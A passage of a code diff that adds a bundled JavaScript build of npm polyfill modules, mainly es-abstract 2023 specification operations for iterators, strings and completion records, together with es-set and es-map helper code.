return DefineOwnProperty( + IsDataDescriptor, + SameValue, + FromPropertyDescriptor, + O, + P, + Desc + ); + }; + } +}); + +// node_modules/es-set/lib/helpers.js +var require_helpers = __commonJS({ + "node_modules/es-set/lib/helpers.js"(exports) { + "use strict"; + var hasSymbols = require_has_symbols()(); + var SLOT = require_internal_slot(); + var entries = require_object(); + var forEach = require_for_each(); + var GetIntrinsic = require_get_intrinsic(); + var DefinePropertyOrThrow = require_DefinePropertyOrThrow(); + var OrdinaryObjectCreate = require_OrdinaryObjectCreate(); + var Type = require_Type2(); + var $ObjectCreate = GetIntrinsic("%Object.create%", true); + var hasProto = !({ __proto__: null } instanceof Object); + exports.emptyObject = function() { + if ($ObjectCreate) { + return $ObjectCreate(null); + } + if (hasProto) { + return { __proto__: null }; + } + return {}; + }; + exports.emulateES6construct = function(o, defaultNewTarget, defaultProto, slots) { + if (Type(o) !== "Object") { + throw new TypeError("Constructor requires `new`: " + defaultNewTarget.name); + } + var proto = defaultNewTarget.prototype; + if (Type(proto) !== "Object") { + proto = defaultProto; + } + var obj = OrdinaryObjectCreate(proto); + forEach(entries(slots), function(entry) { + var key = entry[0]; + var value = entry[1]; + SLOT.set(obj, key, value); + }); + return obj; + }; + var $iterator$ = hasSymbols && Type(Symbol.iterator) === "Symbol" ? Symbol.iterator : "_es6-shim iterator_"; + if (typeof []["@@iterator"] === "function") { + $iterator$ = "@@iterator"; + } + exports.addIterator = function(prototype, impl) { + var implementation = impl || function iterator() { + return this; + }; + DefinePropertyOrThrow(prototype, $iterator$, { + "[[Configurable]]": true, + "[[Enumerable]]": false, + "[[Value]]": implementation, + "[[Writable]]": true + }); + if (!prototype[$iterator$] && Type($iterator$) === "Symbol") { + prototype[$iterator$] = implementation; + } + }; + } +}); + +// node_modules/es-set/lib/set-iterator.js +var require_set_iterator = __commonJS({ + "node_modules/es-set/lib/set-iterator.js"(exports, module2) { + "use strict"; + var define = require_define_properties(); + var setToStringTag = require_es_set_tostringtag(); + var SLOT = require_internal_slot(); + var GetIntrinsic = require_get_intrinsic(); + var OrdinaryObjectCreate = require_OrdinaryObjectCreate(); + var addIterator = require_helpers().addIterator; + var SetIterator = function SetIterator2(it) { + SLOT.set(this, "[[isSetIterator]]", true); + SLOT.set(this, "[[it]]", it); + }; + var IteratorPrototype = GetIntrinsic("%IteratorPrototype%", true); + if (IteratorPrototype) { + SetIterator.prototype = OrdinaryObjectCreate(IteratorPrototype); + } + addIterator(SetIterator.prototype); + define(SetIterator.prototype, { + next: function next() { + if (!SLOT.has(this, "[[isSetIterator]]")) { + throw new TypeError("Not a SetIterator"); + } + return SLOT.get(this, "[[it]]").next(); + } + }); + setToStringTag(SetIterator.prototype, "Set Iterator"); + module2.exports = SetIterator; + } +}); + +// node_modules/es-abstract/2023/Call.js +var require_Call = __commonJS({ + "node_modules/es-abstract/2023/Call.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var callBound = require_callBound(); + var $TypeError = require_type(); + var IsArray = require_IsArray2(); + var $apply = GetIntrinsic("%Reflect.apply%", true) || callBound("Function.prototype.apply"); + module2.exports = function Call(F, V) { + var argumentsList = arguments.length > 2 ? arguments[2] : []; + if (!IsArray(argumentsList)) { + throw new $TypeError("Assertion failed: optional `argumentsList`, if provided, must be a List"); + } + return $apply(F, V, argumentsList); + }; + } +}); + +// node_modules/es-abstract/helpers/isLeadingSurrogate.js +var require_isLeadingSurrogate = __commonJS({ + "node_modules/es-abstract/helpers/isLeadingSurrogate.js"(exports, module2) { + "use strict"; + module2.exports = function isLeadingSurrogate(charCode) { + return typeof charCode === "number" && charCode >= 55296 && charCode <= 56319; + }; + } +}); + +// node_modules/es-abstract/helpers/isTrailingSurrogate.js +var require_isTrailingSurrogate = __commonJS({ + "node_modules/es-abstract/helpers/isTrailingSurrogate.js"(exports, module2) { + "use strict"; + module2.exports = function isTrailingSurrogate(charCode) { + return typeof charCode === "number" && charCode >= 56320 && charCode <= 57343; + }; + } +}); + +// node_modules/es-abstract/2023/UTF16SurrogatePairToCodePoint.js +var require_UTF16SurrogatePairToCodePoint = __commonJS({ + "node_modules/es-abstract/2023/UTF16SurrogatePairToCodePoint.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $TypeError = require_type(); + var $fromCharCode = GetIntrinsic("%String.fromCharCode%"); + var isLeadingSurrogate = require_isLeadingSurrogate(); + var isTrailingSurrogate = require_isTrailingSurrogate(); + module2.exports = function UTF16SurrogatePairToCodePoint(lead, trail) { + if (!isLeadingSurrogate(lead) || !isTrailingSurrogate(trail)) { + throw new $TypeError("Assertion failed: `lead` must be a leading surrogate char code, and `trail` must be a trailing surrogate char code"); + } + return $fromCharCode(lead) + $fromCharCode(trail); + }; + } +}); + +// node_modules/es-abstract/2023/CodePointAt.js +var require_CodePointAt = __commonJS({ + "node_modules/es-abstract/2023/CodePointAt.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var callBound = require_callBound(); + var isLeadingSurrogate = require_isLeadingSurrogate(); + var isTrailingSurrogate = require_isTrailingSurrogate(); + var UTF16SurrogatePairToCodePoint = require_UTF16SurrogatePairToCodePoint(); + var $charAt = callBound("String.prototype.charAt"); + var $charCodeAt = callBound("String.prototype.charCodeAt"); + module2.exports = function CodePointAt(string2, position) { + if (typeof string2 !== "string") { + throw new $TypeError("Assertion failed: `string` must be a String"); + } + var size = string2.length; + if (position < 0 || position >= size) { + throw new $TypeError("Assertion failed: `position` must be >= 0, and < the length of `string`"); + } + var first = $charCodeAt(string2, position); + var cp = $charAt(string2, position); + var firstIsLeading = isLeadingSurrogate(first); + var firstIsTrailing = isTrailingSurrogate(first); + if (!firstIsLeading && !firstIsTrailing) { + return { + "[[CodePoint]]": cp, + "[[CodeUnitCount]]": 1, + "[[IsUnpairedSurrogate]]": false + }; + } + if (firstIsTrailing || position + 1 === size) { + return { + "[[CodePoint]]": cp, + "[[CodeUnitCount]]": 1, + "[[IsUnpairedSurrogate]]": true + }; + } + var second = $charCodeAt(string2, position + 1); + if (!isTrailingSurrogate(second)) { + return { + "[[CodePoint]]": cp, + "[[CodeUnitCount]]": 1, + "[[IsUnpairedSurrogate]]": true + }; + } + return { + "[[CodePoint]]": UTF16SurrogatePairToCodePoint(first, second), + "[[CodeUnitCount]]": 2, + "[[IsUnpairedSurrogate]]": false + }; + }; + } +}); + +// node_modules/es-abstract/helpers/isFinite.js +var require_isFinite = __commonJS({ + "node_modules/es-abstract/helpers/isFinite.js"(exports, module2) { + "use strict"; + var $isNaN = require_isNaN(); + module2.exports = function(x) { + return (typeof x === "number" || typeof x === "bigint") && !$isNaN(x) && x !== Infinity && x !== -Infinity; + }; + } +}); + +// node_modules/es-abstract/helpers/isInteger.js +var require_isInteger = __commonJS({ + "node_modules/es-abstract/helpers/isInteger.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $abs = GetIntrinsic("%Math.abs%"); + var $floor = GetIntrinsic("%Math.floor%"); + var $isNaN = require_isNaN(); + var $isFinite = require_isFinite(); + module2.exports = function isInteger(argument) { + if (typeof argument !== "number" || $isNaN(argument) || !$isFinite(argument)) { + return false; + } + var absValue = $abs(argument); + return $floor(absValue) === absValue; + }; + } +}); + +// node_modules/es-abstract/helpers/maxSafeInteger.js +var require_maxSafeInteger = __commonJS({ + "node_modules/es-abstract/helpers/maxSafeInteger.js"(exports, module2) { + "use strict"; + module2.exports = Number.MAX_SAFE_INTEGER || 9007199254740991; + } +}); + +// node_modules/es-abstract/2023/AdvanceStringIndex.js +var require_AdvanceStringIndex = __commonJS({ + "node_modules/es-abstract/2023/AdvanceStringIndex.js"(exports, module2) { + "use strict"; + var CodePointAt = require_CodePointAt(); + var isInteger = require_isInteger(); + var MAX_SAFE_INTEGER = require_maxSafeInteger(); + var $TypeError = require_type(); + module2.exports = function AdvanceStringIndex(S, index, unicode) { + if (typeof S !== "string") { + throw new $TypeError("Assertion failed: `S` must be a String"); + } + if (!isInteger(index) || index < 0 || index > MAX_SAFE_INTEGER) { + throw new $TypeError("Assertion failed: `length` must be an integer >= 0 and <= 2**53"); + } + if (typeof unicode !== "boolean") { + throw new $TypeError("Assertion failed: `unicode` must be a Boolean"); + } + if (!unicode) { + return index + 1; + } + var length = S.length; + if (index + 1 >= length) { + return index + 1; + } + var cp = CodePointAt(S, index); + return index + cp["[[CodeUnitCount]]"]; + }; + } +}); + +// node_modules/es-abstract/2023/CreateIterResultObject.js +var require_CreateIterResultObject = __commonJS({ + "node_modules/es-abstract/2023/CreateIterResultObject.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + module2.exports = function CreateIterResultObject(value, done) { + if (typeof done !== "boolean") { + throw new $TypeError("Assertion failed: Type(done) is not Boolean"); + } + return { + value, + done + }; + }; + } +}); + +// node_modules/es-abstract/2023/Get.js +var require_Get = __commonJS({ + "node_modules/es-abstract/2023/Get.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var inspect = require_object_inspect(); + var IsPropertyKey = require_IsPropertyKey(); + var Type = require_Type2(); + module2.exports = function Get(O, P) { + if (Type(O) !== "Object") { + throw new $TypeError("Assertion failed: Type(O) is not Object"); + } + if (!IsPropertyKey(P)) { + throw new $TypeError("Assertion failed: IsPropertyKey(P) is not true, got " + inspect(P)); + } + return O[P]; + }; + } +}); + +// node_modules/es-abstract/2023/IteratorComplete.js +var require_IteratorComplete = __commonJS({ + "node_modules/es-abstract/2023/IteratorComplete.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var Get = require_Get(); + var ToBoolean = require_ToBoolean(); + var Type = require_Type2(); + module2.exports = function IteratorComplete(iterResult) { + if (Type(iterResult) !== "Object") { + throw new $TypeError("Assertion failed: Type(iterResult) is not Object"); + } + return ToBoolean(Get(iterResult, "done")); + }; + } +}); + +// node_modules/es-abstract/2023/IteratorValue.js +var require_IteratorValue = __commonJS({ + "node_modules/es-abstract/2023/IteratorValue.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var Get = require_Get(); + var Type = require_Type2(); + module2.exports = function IteratorValue(iterResult) { + if (Type(iterResult) !== "Object") { + throw new $TypeError("Assertion failed: Type(iterResult) is not Object"); + } + return Get(iterResult, "value"); + }; + } +}); + +// node_modules/es-abstract/2023/PromiseResolve.js +var require_PromiseResolve = __commonJS({ + "node_modules/es-abstract/2023/PromiseResolve.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var callBind = require_call_bind(); + var $SyntaxError = require_syntax(); + var $resolve = GetIntrinsic("%Promise.resolve%", true); + var $PromiseResolve = $resolve && callBind($resolve); + module2.exports = function PromiseResolve(C, x) { + if (!$PromiseResolve) { + throw new $SyntaxError("This environment does not support Promises."); + } + return $PromiseResolve(C, x); + }; + } +}); + +// node_modules/es-abstract/2023/AsyncFromSyncIteratorContinuation.js +var require_AsyncFromSyncIteratorContinuation = __commonJS({ + "node_modules/es-abstract/2023/AsyncFromSyncIteratorContinuation.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $SyntaxError = require_syntax(); + var $TypeError = require_type(); + var $Promise = GetIntrinsic("%Promise%", true); + var callBound = require_callBound(); + var CreateIterResultObject = require_CreateIterResultObject(); + var IteratorComplete = require_IteratorComplete(); + var IteratorValue = require_IteratorValue(); + var PromiseResolve = require_PromiseResolve(); + var Type = require_Type2(); + var $then = callBound("Promise.prototype.then", true); + module2.exports = function AsyncFromSyncIteratorContinuation(result) { + if (Type(result) !== "Object") { + throw new $TypeError("Assertion failed: Type(O) is not Object"); + } + if (arguments.length > 1) { + throw new $SyntaxError("although AsyncFromSyncIteratorContinuation should take a second argument, it is not used in this implementation"); + } + if (!$Promise) { + throw new $SyntaxError("This environment does not support Promises."); + } + return new $Promise(function(resolve) { + var done = IteratorComplete(result); + var value = IteratorValue(result); + var valueWrapper = PromiseResolve($Promise, value); + var onFulfilled = function(value2) { + return CreateIterResultObject(value2, done); + }; + resolve($then(valueWrapper, onFulfilled)); + }); + }; + } +}); + +// node_modules/es-abstract/2023/GetV.js +var require_GetV = __commonJS({ + "node_modules/es-abstract/2023/GetV.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var inspect = require_object_inspect(); + var IsPropertyKey = require_IsPropertyKey(); + module2.exports = function GetV(V, P) { + if (!IsPropertyKey(P)) { + throw new $TypeError("Assertion failed: IsPropertyKey(P) is not true, got " + inspect(P)); + } + return V[P]; + }; + } +}); + +// node_modules/es-abstract/2023/GetMethod.js +var require_GetMethod = __commonJS({ + "node_modules/es-abstract/2023/GetMethod.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var GetV = require_GetV(); + var IsCallable = require_IsCallable(); + var IsPropertyKey = require_IsPropertyKey(); + var inspect = require_object_inspect(); + module2.exports = function GetMethod(O, P) { + if (!IsPropertyKey(P)) { + throw new $TypeError("Assertion failed: IsPropertyKey(P) is not true"); + } + var func = GetV(O, P); + if (func == null) { + return void 0; + } + if (!IsCallable(func)) { + throw new $TypeError(inspect(P) + " is not a function: " + inspect(func)); + } + return func; + }; + } +}); + +// node_modules/es-abstract/helpers/records/iterator-record.js +var require_iterator_record = __commonJS({ + "node_modules/es-abstract/helpers/records/iterator-record.js"(exports, module2) { + "use strict"; + var hasOwn = require_hasown(); + module2.exports = function isIteratorRecord(value) { + return !!value && typeof value === "object" && hasOwn(value, "[[Iterator]]") && hasOwn(value, "[[NextMethod]]") && typeof value["[[NextMethod]]"] === "function" && hasOwn(value, "[[Done]]") && typeof value["[[Done]]"] === "boolean"; + }; + } +}); + +// node_modules/es-abstract/2023/IteratorNext.js +var require_IteratorNext = __commonJS({ + "node_modules/es-abstract/2023/IteratorNext.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var Call = require_Call(); + var Type = require_Type2(); + var isIteratorRecord = require_iterator_record(); + module2.exports = function IteratorNext(iteratorRecord) { + if (!isIteratorRecord(iteratorRecord)) { + throw new $TypeError("Assertion failed: `iteratorRecord` must be an Iterator Record"); + } + var result; + if (arguments.length < 2) { + result = Call(iteratorRecord["[[NextMethod]]"], iteratorRecord["[[Iterator]]"]); + } else { + result = Call(iteratorRecord["[[NextMethod]]"], iteratorRecord["[[Iterator]]"], [arguments[1]]); + } + if (Type(result) !== "Object") { + throw new $TypeError("iterator next must return an object"); + } + return result; + }; + } +}); + +// node_modules/es-abstract/2023/CreateAsyncFromSyncIterator.js +var require_CreateAsyncFromSyncIterator = __commonJS({ + "node_modules/es-abstract/2023/CreateAsyncFromSyncIterator.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $SyntaxError = require_syntax(); + var $TypeError = require_type(); + var $Promise = GetIntrinsic("%Promise%", true); + var AsyncFromSyncIteratorContinuation = require_AsyncFromSyncIteratorContinuation(); + var Call = require_Call(); + var CreateIterResultObject = require_CreateIterResultObject(); + var Get = require_Get(); + var GetMethod = require_GetMethod(); + var IteratorNext = require_IteratorNext(); + var OrdinaryObjectCreate = require_OrdinaryObjectCreate(); + var Type = require_Type2(); + var SLOT = require_internal_slot(); + var isIteratorRecord = require_iterator_record(); + var $AsyncFromSyncIteratorPrototype = GetIntrinsic("%AsyncFromSyncIteratorPrototype%", true) || { + next: function next(value) { + if (!$Promise) { + throw new $SyntaxError("This environment does not support Promises."); + } + var O = this; + SLOT.assert(O, "[[SyncIteratorRecord]]"); + var argsLength = arguments.length; + return new $Promise(function(resolve) { + var syncIteratorRecord = SLOT.get(O, "[[SyncIteratorRecord]]"); + var result; + if (argsLength > 0) { + result = IteratorNext(syncIteratorRecord, value); + } else { + result = IteratorNext(syncIteratorRecord); + } + resolve(AsyncFromSyncIteratorContinuation(result)); + }); + }, + "return": function() { + if (!$Promise) { + throw new $SyntaxError("This environment does not support Promises."); + } + var O = this; + SLOT.assert(O, "[[SyncIteratorRecord]]"); + var valueIsPresent = arguments.length > 0; + var value = valueIsPresent ? arguments[0] : void 0; + return new $Promise(function(resolve, reject) { + var syncIterator = SLOT.get(O, "[[SyncIteratorRecord]]")["[[Iterator]]"]; + var iteratorReturn = GetMethod(syncIterator, "return"); + if (typeof iteratorReturn === "undefined") { + var iterResult = CreateIterResultObject(value, true); + Call(resolve, void 0, [iterResult]); + return; + } + var result; + if (valueIsPresent) { + result = Call(iteratorReturn, syncIterator, [value]); + } else { + result = Call(iteratorReturn, syncIterator); + } + if (Type(result) !== "Object") { + Call(reject, void 0, [new $TypeError("Iterator `return` method returned a non-object value.")]); + return; + } + resolve(AsyncFromSyncIteratorContinuation(result)); + }); + }, + "throw": function() { + if (!$Promise) { + throw new $SyntaxError("This environment does not support Promises."); + } + var O = this; + SLOT.assert(O, "[[SyncIteratorRecord]]"); + var valueIsPresent = arguments.length > 0; + var value = valueIsPresent ? arguments[0] : void 0; + return new $Promise(function(resolve, reject) { + var syncIterator = SLOT.get(O, "[[SyncIteratorRecord]]")["[[Iterator]]"]; + var throwMethod = GetMethod(syncIterator, "throw"); + if (typeof throwMethod === "undefined") { + Call(reject, void 0, [value]); + return; + } + var result; + if (valueIsPresent) { + result = Call(throwMethod, syncIterator, [value]); + } else { + result = Call(throwMethod, syncIterator); + } + if (Type(result) !== "Object") { + Call(reject, void 0, [new $TypeError("Iterator `throw` method returned a non-object value.")]); + return; + } + resolve(AsyncFromSyncIteratorContinuation( + result + /* , promiseCapability */ + )); + }); + } + }; + module2.exports = function CreateAsyncFromSyncIterator(syncIteratorRecord) { + if (!isIteratorRecord(syncIteratorRecord)) { + throw new $TypeError("Assertion failed: `syncIteratorRecord` must be an Iterator Record"); + } + var asyncIterator = OrdinaryObjectCreate($AsyncFromSyncIteratorPrototype); + SLOT.set(asyncIterator, "[[SyncIteratorRecord]]", syncIteratorRecord); + var nextMethod = Get(asyncIterator, "next"); + return { + // steps 3-4 + "[[Iterator]]": asyncIterator, + "[[NextMethod]]": nextMethod, + "[[Done]]": false + }; + }; + } +}); + +// node_modules/es-abstract/2023/GetIteratorFromMethod.js +var require_GetIteratorFromMethod = __commonJS({ + "node_modules/es-abstract/2023/GetIteratorFromMethod.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var Call = require_Call(); + var GetV = require_GetV(); + var IsCallable = require_IsCallable(); + var Type = require_Type2(); + module2.exports = function GetIteratorFromMethod(obj, method) { + if (!IsCallable(method)) { + throw new $TypeError("method must be a function"); + } + var iterator = Call(method, obj); + if (Type(iterator) !== "Object") { + throw new $TypeError("iterator must return an object"); + } + var nextMethod = GetV(iterator, "next"); + return { + // steps 4-5 + "[[Iterator]]": iterator, + "[[NextMethod]]": nextMethod, + "[[Done]]": false + }; + }; + } +}); + +// node_modules/is-string/index.js +var require_is_string = __commonJS({ + "node_modules/is-string/index.js"(exports, module2) { + "use strict"; + var strValue = String.prototype.valueOf; + var tryStringObject = function tryStringObject2(value) { + try { + strValue.call(value); + return true; + } catch (e) { + return false; + } + }; + var toStr = Object.prototype.toString; + var strClass = "[object String]"; + var hasToStringTag = require_shams2()(); + module2.exports = function isString(value) { + if (typeof value === "string") { + return true; + } + if (typeof value !== "object") { + return false; + } + return hasToStringTag ? tryStringObject(value) : toStr.call(value) === strClass; + }; + } +}); + +// node_modules/es-abstract/helpers/getIteratorMethod.js +var require_getIteratorMethod = __commonJS({ + "node_modules/es-abstract/helpers/getIteratorMethod.js"(exports, module2) { + "use strict"; + var hasSymbols = require_has_symbols()(); + var GetIntrinsic = require_get_intrinsic(); + var callBound = require_callBound(); + var isString = require_is_string(); + var $iterator = GetIntrinsic("%Symbol.iterator%", true); + var $stringSlice = callBound("String.prototype.slice"); + var $String = GetIntrinsic("%String%"); + module2.exports = function getIteratorMethod(ES, iterable) { + var usingIterator; + if (hasSymbols) { + usingIterator = ES.GetMethod(iterable, $iterator); + } else if (ES.IsArray(iterable)) { + usingIterator = function() { + var i = -1; + var arr = this; + return { + next: function() { + i += 1; + return { + done: i >= arr.length, + value: arr[i] + }; + } + }; + }; + } else if (isString(iterable)) { + usingIterator = function() { + var i = 0; + return { + next: function() { + var nextIndex = ES.AdvanceStringIndex($String(iterable), i, true); + var value = $stringSlice(iterable, i, nextIndex); + i = nextIndex; + return { + done: nextIndex > iterable.length, + value + }; + } + }; + }; + } + return usingIterator; + }; + } +}); + +// node_modules/es-abstract/2023/GetIterator.js +var require_GetIterator = __commonJS({ + "node_modules/es-abstract/2023/GetIterator.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $TypeError = require_type(); + var $asyncIterator = GetIntrinsic("%Symbol.asyncIterator%", true); + var inspect = require_object_inspect(); + var hasSymbols = require_has_symbols()(); + var AdvanceStringIndex = require_AdvanceStringIndex(); + var CreateAsyncFromSyncIterator = require_CreateAsyncFromSyncIterator(); + var GetIteratorFromMethod = require_GetIteratorFromMethod(); + var GetMethod = require_GetMethod(); + var IsArray = require_IsArray2(); + var getIteratorMethod = require_getIteratorMethod(); + module2.exports = function GetIterator(obj, kind) { + if (kind !== "sync" && kind !== "async") { + throw new $TypeError("Assertion failed: `kind` must be one of 'sync' or 'async', got " + inspect(kind)); + } + var method; + if (kind === "async") { + if (hasSymbols && $asyncIterator) { + method = GetMethod(obj, $asyncIterator); + } + } + if (typeof method === "undefined") { + var syncMethod = getIteratorMethod( + { + AdvanceStringIndex, + GetMethod, + IsArray + }, + obj + ); + if (kind === "async") { + if (typeof syncMethod === "undefined") { + throw new $TypeError("iterator method is `undefined`"); + } + var syncIteratorRecord = GetIteratorFromMethod(obj, syncMethod); + return CreateAsyncFromSyncIterator(syncIteratorRecord); + } + method = syncMethod; + } + if (typeof method === "undefined") { + throw new $TypeError("iterator method is `undefined`"); + } + return GetIteratorFromMethod(obj, method); + }; + } +}); + +// node_modules/es-abstract/2023/CompletionRecord.js +var require_CompletionRecord = __commonJS({ + "node_modules/es-abstract/2023/CompletionRecord.js"(exports, module2) { + "use strict"; + var $SyntaxError = require_syntax(); + var SLOT = require_internal_slot(); + var CompletionRecord = function CompletionRecord2(type, value) { + if (!(this instanceof CompletionRecord2)) { + return new CompletionRecord2(type, value); + } + if (type !== "normal" && type !== "break" && type !== "continue" && type !== "return" && type !== "throw") { + throw new $SyntaxError('Assertion failed: `type` must be one of "normal", "break", "continue", "return", or "throw"'); + } + SLOT.set(this, "[[Type]]", type); + SLOT.set(this, "[[Value]]", value); + }; + CompletionRecord.prototype.type = function Type() { + return SLOT.get(this, "[[Type]]"); + }; + CompletionRecord.prototype.value = function Value() { + return SLOT.get(this, "[[Value]]"); + }; + CompletionRecord.prototype["?"] = function ReturnIfAbrupt() { + var type = SLOT.get(this, "[[Type]]"); + var value = SLOT.get(this, "[[Value]]"); + if (type === "normal") { + return value; + } + if (type === "throw") { + throw value; + } + throw new $SyntaxError('Completion Record is not of type "normal" or "throw": other types not supported'); + }; + CompletionRecord.prototype["!"] = function assert() { + var type = SLOT.get(this, "[[Type]]"); + if (type !== "normal") { + throw new $SyntaxError('Assertion failed: Completion Record is not of type "normal"'); + } + return SLOT.get(this, "[[Value]]"); + }; + module2.exports = CompletionRecord; + } +}); + +// node_modules/es-abstract/2023/IteratorClose.js +var require_IteratorClose = __commonJS({ + "node_modules/es-abstract/2023/IteratorClose.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var Call = require_Call(); + var CompletionRecord = require_CompletionRecord(); + var GetMethod = require_GetMethod(); + var IsCallable = require_IsCallable(); + var Type = require_Type2(); + var isIteratorRecord = require_iterator_record(); + module2.exports = function IteratorClose(iteratorRecord, completion) { + if (!isIteratorRecord(iteratorRecord)) { + throw new $TypeError("Assertion failed: `iteratorRecord` must be an Iterator Record"); + } + if (Type(iteratorRecord["[[Iterator]]"]) !== "Object") { + throw new $TypeError("Assertion failed: iteratorRecord.[[Iterator]] must be an Object"); + } + if (!IsCallable(completion) && !(completion instanceof CompletionRecord)) { + throw new $TypeError("Assertion failed: completion is not a thunk representing a Completion Record, nor a Completion Record instance"); + } + var completionThunk = completion instanceof CompletionRecord ? function() { + return completion["?"](); + } : completion; + var iterator = iteratorRecord["[[Iterator]]"]; + var iteratorReturn; + try { + iteratorReturn = GetMethod(iterator, "return"); + } catch (e) { + completionThunk(); + completionThunk = null; + throw e; + } + if (typeof iteratorReturn === "undefined") { + return completionThunk(); + } + var innerResult; + try { + innerResult = Call(iteratorReturn, iterator, []); + } catch (e) { + completionThunk(); + completionThunk = null; + throw e; + } + var completionRecord = completionThunk(); + completionThunk = null; + if (Type(innerResult) !== "Object") { + throw new $TypeError("iterator .return must return an object"); + } + return completionRecord; + }; + } +}); + +// node_modules/es-abstract/2023/IteratorStep.js +var require_IteratorStep = __commonJS({ + "node_modules/es-abstract/2023/IteratorStep.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var IteratorComplete = require_IteratorComplete(); + var IteratorNext = require_IteratorNext(); + var isIteratorRecord = require_iterator_record(); + module2.exports = function IteratorStep(iteratorRecord) { + if (!isIteratorRecord(iteratorRecord)) { + throw new $TypeError("Assertion failed: `iteratorRecord` must be an Iterator Record"); + } + var result = IteratorNext(iteratorRecord); + var done = IteratorComplete(result); + return done === true ? false : result; + }; + } +}); + +// node_modules/es-abstract/2023/ToString.js +var require_ToString = __commonJS({ + "node_modules/es-abstract/2023/ToString.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $String = GetIntrinsic("%String%"); + var $TypeError = require_type(); + module2.exports = function ToString(argument) { + if (typeof argument === "symbol") { + throw new $TypeError("Cannot convert a Symbol value to a string"); + } + return $String(argument); + }; + } +}); + +// node_modules/es-abstract/2023/SameValueZero.js +var require_SameValueZero = __commonJS({ + "node_modules/es-abstract/2023/SameValueZero.js"(exports, module2) { + "use strict"; + var $isNaN = require_isNaN(); + module2.exports = function SameValueZero(x, y) { + return x === y || $isNaN(x) && $isNaN(y); + }; + } +}); + +// node_modules/es-map/lib/map-entry.js +var require_map_entry = __commonJS({ + "node_modules/es-map/lib/map-entry.js"(exports, module2) { + "use strict"; + var MapEntry = function MapEntry2(key, value) { + this.key = key; + this.value = value; + this.next = null; + this.prev = null; + }; + MapEntry.empty = {}; + MapEntry.prototype.isRemoved = function isRemoved() { + return this.key === MapEntry.empty; + }; + module2.exports = MapEntry; + } +}); + +// node_modules/es-abstract/2023/CreateMethodProperty.js +var require_CreateMethodProperty = __commonJS({ + "node_modules/es-abstract/2023/CreateMethodProperty.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var DefineOwnProperty = require_DefineOwnProperty(); + var FromPropertyDescriptor = require_FromPropertyDescriptor(); + var IsDataDescriptor = require_IsDataDescriptor(); + var IsPropertyKey = require_IsPropertyKey(); + var SameValue = require_SameValue(); + var Type = require_Type2(); + module2.exports = function CreateMethodProperty(O, P, V) { + if (Type(O) !== "Object") { + throw new $TypeError("Assertion failed: Type(O) is not Object"); + } + if (!IsPropertyKey(P)) { + throw new $TypeError("Assertion failed: IsPropertyKey(P) is not true"); + } + var newDesc = { + "[[Configurable]]": true, + "[[Enumerable]]": false, + "[[Value]]": V, + "[[Writable]]": true + }; + return DefineOwnProperty( + IsDataDescriptor, + SameValue, + FromPropertyDescriptor, + O, + P, + newDesc + ); + }; + } +}); + +// node_modules/es-map/lib/validation.js +var require_validation = __commonJS({ + "node_modules/es-map/lib/validation.js"(exports) { + "use strict"; + var SLOT = require_internal_slot(); + var ToString = require_ToString(); + var Type = require_Type2(); + var isMap = function isMap2(map) { + return SLOT.has(map, "[[es6map]]"); + }; + exports.isMap = isMap; + exports.requireMapSlot = function requireMapSlot(map, method) { + if (Type(map) !== "Object" || !isMap(map)) { + throw new TypeError("Method Map.prototype." + method + " called on incompatible receiver " + ToString(map)); + } + }; + } +}); + +// node_modules/es-map/lib/helpers.js +var require_helpers2 = __commonJS({ + "node_modules/es-map/lib/helpers.js"(exports) { + "use strict"; + var hasSymbols = require_has_symbols()(); + var GetIntrinsic = require_get_intrinsic(); + var SLOT = require_internal_slot(); + var entries = require_object(); + var forEach = require_for_each(); + var CreateMethodProperty = require_CreateMethodProperty(); + var OrdinaryObjectCreate = require_OrdinaryObjectCreate(); + var Type = require_Type2(); + var $ObjectCreate = GetIntrinsic("%Object.create%", true); + var hasProto = !({ __proto__: null } instanceof Object); + exports.emptyObject = function() { + if ($ObjectCreate) { + return $ObjectCreate(null); + } + if (hasProto) { + return { __proto__: null }; + } + return {}; + }; + exports.emulateES6construct = function(o, defaultNewTarget, defaultProto, slots) { + if (Type(o) !== "Object") { + throw new TypeError("Constructor requires `new`: " + defaultNewTarget.name); + } + var proto = defaultNewTarget.prototype; + if (Type(proto) !== "Object") { + proto = defaultProto; + } + var obj = OrdinaryObjectCreate(proto); + forEach(entries(slots), function(entry) { + var key = entry[0]; + var value = entry[1]; + SLOT.set(obj, key, value); + }); + return obj; + }; + var $iterator$ = hasSymbols && Type(Symbol.iterator) === "Symbol" ? Symbol.iterator : "_es6-shim iterator_"; + if (typeof []["@@iterator"] === "function") { + $iterator$ = "@@iterator"; + } + exports.addIterator = function(prototype, impl) { + var implementation = impl || function iterator() { + return this; + }; + CreateMethodProperty(prototype, $iterator$, implementation); + if (!prototype[$iterator$] && Type($iterator$) === "Symbol") { + prototype[$iterator$] = implementation; + } + }; + } +}); + +// node_modules/es-map/lib/map-iterator.js +var require_map_iterator = __commonJS({ + "node_modules/es-map/lib/map-iterator.js"(exports, module2) { + "use strict"; + var SLOT = require_internal_slot(); + var setToStringTag = require_es_set_tostringtag(); + var GetIntrinsic = require_get_intrinsic(); + var CreateIterResultObject = require_CreateIterResultObject(); + var CreateMethodProperty = require_CreateMethodProperty(); + var OrdinaryObjectCreate = require_OrdinaryObjectCreate(); + var requireMapSlot = require_validation().requireMapSlot; + var addIterator = 